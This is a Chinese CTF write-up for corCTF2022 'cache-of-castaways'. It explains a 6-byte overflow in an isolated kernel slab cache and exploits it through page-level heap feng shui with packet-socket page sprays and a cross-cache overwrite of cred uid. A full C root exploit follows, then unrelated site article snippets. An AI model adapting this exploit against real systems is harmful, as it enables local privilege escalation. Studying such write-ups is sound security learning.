【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways

前言

什么叫 Cross Cache 呢?其实就是字面意思,我们知道内核中的大部分结构体都有自己的专属 slab 内存池。那现在我们可以想象一下这个场景,我们拥有一个特定 kmem-cache 的溢出漏洞,那么我们该如何利用呢?

程序分析

启动脚本不用看了,该开的保护都开了。而作者将 config 给了我们,所以我们可以看下部分编译选项。

# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_MEMCG=y
CONFIG_MEMCG_KMEM=y
# CONFIG_DEBUG_CREDENTIALS is not set

驱动程序单独创建了一个 kmem-cache,而该 kmem-cache 是独立的,不会与其他 kmem-cache 合并,且大小为 512 字节。

 ioctl 函数中有增加堆块和修改堆块的功能

修改堆块时,有白给了 6 字节溢出

 

漏洞利用

上面的堆块都是针对  castaway_cache 的 object,而该 cache 是与其他 cache 隔离的,所以从 slub 层面去考虑,我们会发现无法利用该漏洞。

而我们知道 slub 是从伙伴系统申请的内存,然后在划分成一个一个的 object 去使用。 而伙伴系统的内存是连续的,所以我们可以通过页级堆风水去形成如下内存布局(图片来自wiki):

然后就形成了 cross-cache overflow 啦。

这里 victim object 选择谁呢?6字节我们是可以修改 cred 的 uid 的,所以直接打 cred。

我们可以知道 CONFIG_DEBUG_CREDENTIALS 这个编译选项是没有设置的,所以可以直接溢出到 uid 的低两个字节,但是这是足够的。

 

其他的见 ctf-wiki 即可,也没啥好说的了,也不想浪费时间去写一些垃圾。

exp:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <time.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>#define PACKET_VERSION 10
#define PACKET_TX_RING 13#define PGV_PAGE_NUM 1000#define CRED_SPRAY_NUM 1066
#define VUL_OBJ_NUM 400
#define VUL_OBJ_SIZE 512int fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char binsh_str[] = "/bin/sh";
char* shell_args[] = { binsh_str, NULL };
char buf[1];
struct timespec timer = {.tv_sec = 23535670,.tv_nsec = 0,
};struct node {size_t idx;size_t size;char* ptr;
};void add()
{ioctl(fd, 0xCAFEBABE, NULL);
}void edit(size_t idx, size_t size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(fd, 0xF00DBABE, &n);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void line(char *msg)
{printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct tpacket_req {unsigned int tp_block_size;unsigned int tp_block_nr;unsigned int tp_frame_size;unsigned int tp_frame_nr;
};enum tpacket_versions {TPACKET_V1,TPACKET_V2,TPACKET_V3,
};/* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {int idx;int cmd;unsigned int size;unsigned int nr;
};enum {CMD_ALLOC_PAGE,CMD_FREE_PAGE,CMD_EXIT,
};/* create an isolate namespace for pgv */
void unshare_setup(void)
{char edit[0x100];int tmp_fd;unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);tmp_fd = open("/proc/self/setgroups", O_WRONLY);write(tmp_fd, "deny", strlen("deny"));close(tmp_fd);tmp_fd = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{struct tpacket_req req;int socket_fd, version;int ret;socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);if (socket_fd < 0) {printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");ret = socket_fd;goto err_out;}version = TPACKET_V1;ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,&version, sizeof(version));if (ret < 0) {printf("[x] failed at setsockopt(PACKET_VERSION)\n");goto err_setsockopt;}memset(&req, 0, sizeof(req));req.tp_block_size = size;req.tp_block_nr = nr;req.tp_frame_size = 0x1000;req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));if (ret < 0) {printf("[x] failed at setsockopt(PACKET_TX_RING)\n");goto err_setsockopt;}return socket_fd;err_setsockopt:close(socket_fd);
err_out:return ret;
}/* parent call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{struct pgv_page_request req = {.idx = idx,.cmd = CMD_ALLOC_PAGE,.size = size,.nr = nr,};int ret;write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));read(cmd_pipe_reply[0], &ret, sizeof(ret));return ret;
}/* parent call it to send command of freeing to child */
int free_page(int idx)
{struct pgv_page_request req = {.idx = idx,.cmd = CMD_FREE_PAGE,};int ret;write(cmd_pipe_req[1], &req, sizeof(req));read(cmd_pipe_reply[0], &ret, sizeof(ret));return ret;
}/* child thread's handler for commands from the pipe */
void spray_cmd_handler(void)
{struct pgv_page_request req;int socket_fd[PGV_PAGE_NUM];int ret;/* create an isolate namespace*/unshare_setup();/* handler request */do {read(cmd_pipe_req[0], &req, sizeof(req));if (req.cmd == CMD_ALLOC_PAGE) {ret = create_socket_and_alloc_pages(req.size, req.nr);socket_fd[req.idx] = ret;} else if (req.cmd == CMD_FREE_PAGE) {ret = close(socket_fd[req.idx]);} else {printf("[x] invalid request: %d\n", req.cmd);}write(cmd_pipe_reply[1], &ret, sizeof(ret));} while (req.cmd != CMD_EXIT);
}__attribute__((naked)) int __clone(int flags, int (*fn)(void*))
{/*res = clone(flags, 0, 0, 0, 0, 0)if (res == 0) fn();else return;*/__asm__ volatile("mov r15, rsi;""xor rsi, rsi;""xor rdx, rdx;""xor r8,  r8;""xor r9,  r9;""xor r10, r10;""mov rax, 56;""syscall;""cmp rax, 0;""je CHILD;""ret;""CHILD:""jmp r15;");
}int wait_for_root(void* args)
{/*read(check_root_pipe[0], buf, 1); <== 等待检查信号if (getuid() == 0) execve("/bin/sh", args, NULL);else return;*/__asm__ volatile("lea rax, [check_root_pipe];""xor rdi, rdi;""mov edi, dword ptr [rax];""mov rsi, buf;""mov rdx, 1;""xor rax, rax;""syscall;""mov rax, 102;""syscall;""cmp rax, 0;""jne failed;""lea rdi, [binsh_str];""lea rsi, [shell_args];""xor rdx, rdx;""mov rax, 59;""syscall;""failed:""lea rdi, [timer];""xor rsi, rsi;""mov rax, 35;""syscall;");return 0;
}int main(int argc, char** argv, char** env)
{char buffer[0x1000];bind_core(0);fd = open("/dev/castaway", O_RDWR);if (fd < 0) err_exit("open /dev/castaway");pipe(cmd_pipe_req);pipe(cmd_pipe_reply);pipe(check_root_pipe);if (!fork()){spray_cmd_handler();exit(EXIT_SUCCESS);}info("STEP.I Spray pgv pages");for (int i = 0; i < PGV_PAGE_NUM; i++)if (alloc_page(i, 0x1000, 1) < 0)err_exit("alloc_page");info("STEP.II Free for cred pages");for (int i = 1; i < PGV_PAGE_NUM; i += 2) free_page(i);info("STEP.III Spray cred to fetch pages");for (int i = 0; i < CRED_SPRAY_NUM; i++)if (__clone(CLONE_FILES|CLONE_FS|CLONE_VM|CLONE_SIGHAND, wait_for_root) < 0)err_exit("__clone");info("STEP.IV Free for vulnerable pages");for (int i = 0; i < PGV_PAGE_NUM; i += 2) free_page(i);info("STEP.V Triger overflow write 6 bytes");memset(buffer, '\0', 0x1000);*(uint32_t*)&buffer[VUL_OBJ_SIZE-6] = 1;for (int i = 0; i < VUL_OBJ_NUM; i++){add();edit(i, VUL_OBJ_SIZE, buffer);}info("CHILD PROCESS CHECK");write(check_root_pipe[1], buffer, CRED_SPRAY_NUM);sleep(23535670);return 0;
}

 效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/157715.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uni-app开发微信小程序的报错[渲染层错误]排查及解决

一、报错信息 [渲染层错误] Framework nner error (expect FLOW INITIALCREATION end but get FLOW CREATE-NODE) 二、原因分析及解决方案 第一种 原因&#xff1a;基础库版本的原因导致的。 解决&#xff1a; 1.修改调试基础库版本 2.详情—>本地设置—>调试基础库…

volatile为什么无法保证原子性

假设定义 volatile int i 0; 现在2个线程同时 i&#xff0c;为什么数据还可能会出错&#xff1f;一起来看下图&#xff0c;虽然volatile的机制是&#xff1a;如果volatile修饰的变量有修改&#xff0c;那么会将变更内容写回主内存&#xff0c;同时让其他线程工作内存的该变量缓…

Leetcode226.翻转二叉树

本专栏内容为&#xff1a;leetcode刷题专栏&#xff0c;记录了leetcode热门题目以及重难点题目的详细记录 &#x1f493;博主csdn个人主页&#xff1a;小小unicorn ⏩专栏分类&#xff1a;Leetcode &#x1f69a;代码仓库&#xff1a;小小unicorn的代码仓库&#x1f69a; &…

react antd table表格点击一行选中数据的方法

一、前言 antd的table&#xff0c;默认是点击左边的单选/复选按钮&#xff0c;才能选中一行数据&#xff1b; 现在想实现点击右边的部分&#xff0c;也可以触发操作选中这行数据。 可以使用onRow实现&#xff0c;样例如下。 二、代码 1.表格样式部分 //表格table样式部分{…

【基础篇】四、本地部署Flink

文章目录 1、本地独立部署会话模式的Flink2、本地独立部署会话模式的Flink集群3、向Flink集群提交作业4、Standalone方式部署单作业模式5、Standalone方式部署应用模式的Flink Flink的常见三种部署方式&#xff1a; 独立部署&#xff08;Standalone部署&#xff09;基于K8S部署…

深入解析Spring Cloud Gateway的GlobalFilter

文章目录 摘要引言GlobalFilter的作用使用GlobalFilter默认的GlobalFilter自定义GlobalFilter 示例代码配置GlobalFilter配置文件方式代码方式 高级用法&#xff1a;重写GlobalFilter思路代码实现 结论参考文献 摘要 本文将详细介绍Spring Cloud Gateway中的GlobalFilter&…

Jwt的基础入门,详细讲解

目录 一.Jwt的简介 1.1 Jwt是什么 1.2 组成部分&#xff1a; 1.3 使用JWT的步骤如下&#xff1a; 1.4 JWT的使用有以下优势&#xff1a; 1.5 JWT也有一些潜在的劣势&#xff1a; 二.Jwt的工具类 Jwt测试类&#xff1a; 三.案例----Jwt集成进spa项目 一.Jwt的简介 1.1…

vscode虚拟环境使用jupyter

在某虚拟环境内安装torch&#xff0c;但是ipyn文件保存后无法正常导入torch 1.conda环境下安装Jupyter等一切配置&#xff0c;进入虚拟环境 2.conda install nb_conda_kernels 3.安装完成后重新打开VSCode&#xff0c;在运行Jupyter notebook中的代码之前&#xff0c;在右上…

动态分区分配算法之首次适应算法,最佳适应算法,最坏适应算法以及邻近适应算法

1.首次适应算法(First Fit) 1.算法思想: 每次都从低地址开始查找&#xff0c;找到第一个能满足大小的空闲分区。 2.如何实现: 空闲分区以地址递增的次序排列。 每次分配内存时顺序查找空闲分区链&#xff08;或空闲分区表&#xff09;&#xff0c;找到大小能满足要求的第一…

M2芯片的Mac上安装Linux虚拟机——提前帮你踩坑

M2芯片的Mac上安装Linux虚拟机——提前帮你踩坑 1. 前言1.1 系统说明1.2 Linux系统选择——提前避坑1.3 下载vmware_fusion1.3.1 官网下载1.3.2 注册 CAPTCHA验证码问题1.3.3 产品说明 1.4 下载操作系统镜像1.4.1 下载centos&#xff08;如果版本合适的&#xff09;1.4.2 下载…

ssm+vue的课程网络学习平台管理系统(有报告)。Javaee项目,ssm vue前后端分离项目。

演示视频&#xff1a; ssmvue的课程网络学习平台管理系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;ssm vue前后端分离项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体…

spark中的shuffle简述 那些会导致shuffle的算子

shuffle操作说白了就是重分区操作 在Apache Spark中&#xff0c;任务之间的依赖关系主要分为两类&#xff1a;宽依赖&#xff08;Wide Dependency&#xff09;和窄依赖&#xff08;Narrow Dependency&#xff09;。这两者之间的主要区别在于它们对任务之间数据的依赖性以及执行…

02 stm32-hal库 timer 基本定时器设定

1.配置始终时钟参数 >2. 初始化 MX_TIM3_Init();/* USER CODE BEGIN 2 */HAL_TIM_Base_Start_IT(&htim3);> 3.增加回调函数 4 中断服务函数 void TIM3_IRQHandler(void) {/* USER CODE BEGIN TIM3_IRQn 0 *//* USER CODE END TIM3_IRQn 0 */HAL_TIM_IRQHandler(&…

vue项目打包,使用externals抽离公共的第三方库

封装了一个插件&#xff0c;用来vue打包抽离公共的第三方库&#xff0c;使用unplugin进行插件开发&#xff0c;vite对应的功能使用了vite-plugin-externals进行二次开发 github地址 npm地址 hfex-auto-externals-plugin 自动注入插件,使用 unplugin 和 html-webpack-plugin进…

虚幻引擎5:增强输入的使用方法

一、基本配置 1.创建一个输入映射上下文&#xff08;映射表&#xff09; 2.创建自己需要的操作映射或者轴映射 3.创建完成之后进入这个映射&#xff0c;来设置类型&#xff0c;共有4个类型 1.Digital:是旧版操作映射类型&#xff0c;一般是按下抬起来使用&#xff0c;像跳跃…

RabbitMQ常见的交换机类型

RabbitMQ安装 pom.xml里导入相关的依赖&#xff1a; <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId></dependency> application.properties配置文件 spring.rabbitmq.hos…

JAXB 使用记录 bean转xml xml转bean 数组 继承 CDATA(转义问题)

JAXB 使用记录 部分内容引自 https://blog.csdn.net/gengzhy/article/details/127564536 基础介绍 JAXBContext类&#xff1a;是应用的入口&#xff0c;用于管理XML/Java绑定信息 Marshaller接口&#xff1a;将Java对象序列化为XML数据 Unmarshaller接口&#xff1a;将XML数…

计算机网络第四层 运输层

一&#xff0c;运输层引入的目的 1&#xff0c;网络通信主体标识 网络通信的本质是运行的主机上的进程之间的通信 同一个主机上有多个进程在工作&#xff0c;进程如何加以区分标识&#xff08;PID&#xff09;---本地主机 网络上的主机需要一个统一的进程标识分配机制 逻辑…

【奇葩问题】微信小程序 We分析 访问来源Top10的总比例为什么不止100%

今天有朋友在小程序后台开访问来源数据的时候发现三个渠道来源的比例超过了100% 搜了很多文章最终在官方社区找到了官方回复&#xff1a; 超过100%&#xff0c;是因为可能有用户&#xff0c;在当日通过多个场景&#xff0c;打开过你的小程序 比如用户A&#xff0c;上午通过【…

matlab第三方硬件支持包下载和安装

1、在使用matlab内部的附加功能安装时&#xff0c;由于matlab会验证是否正版无法打开 2、在matlab官网直接找到对应的硬件支持包下载&#xff0c;但是是下图的安装程序 可以直接在matlab中跳转到该程序所在的文件夹双击安装&#xff0c;但是安装到最后出错了 3.根据出错时mala…